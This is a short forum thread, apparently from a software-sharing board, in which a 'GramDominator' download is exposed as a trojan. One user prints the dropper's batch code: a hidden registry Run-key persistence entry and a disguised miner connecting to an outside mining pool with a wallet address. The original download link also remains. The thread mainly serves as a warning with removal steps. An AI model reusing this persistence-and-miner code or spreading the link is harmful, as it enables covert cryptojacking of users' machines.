[GET] GramDominator 2.5.021! Act FAST

[yeayea]

Hi, Add Reps and Enjoy:

http://ge.tt/4vbfcam2

This is not mine, just found It and seems clean but as always protect yourself:

https://www.virustotal.com/#/file/8b6bbe.../detection

[darkaneudy]

.....well You have joined Sep 2017 and have 2 posts :D

[lotusfilo]

Be aware !!!

https://www.virustotal.com/#/file/00859c.../detection

[PRT]

Nice malware retard,
wtf is this fail garbage

Code:

SET INSTALLPATH=C:\Winup
mkdir %INSTALLPATH%
copy *Install.bat* %INSTALLPATH%
copy *nircmd.exe* %INSTALLPATH%
copy *start.bat* %INSTALLPATH%
copy *WindowsHostProcess.exe* %INSTALLPATH%
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Winup" /d "\"C:\Winup\nircmd.exe\" exec hide \"C:\Winup\start.bat\"" /f
start %INSTALLPATH%\nircmd.exe exec hide %INSTALLPATH%\start.bat

Code:

C:\Winup\WindowsHostProcess.exe -a tribus -o stratum+tcp://pool.hashbag.cc:8688 -u DG2HijzNeC4mdBUpTYRGmsyWBPt4sNTwUG -p xx

So to clean it up end those processes with task manager

WindowsHostProcess.exe
nircmd.exe

delete the folder
C:\Winup\

Its only a bitcoin miner. This guy must in desperate times. so sad lol

[berlinerin]

PRT thank you for that Information!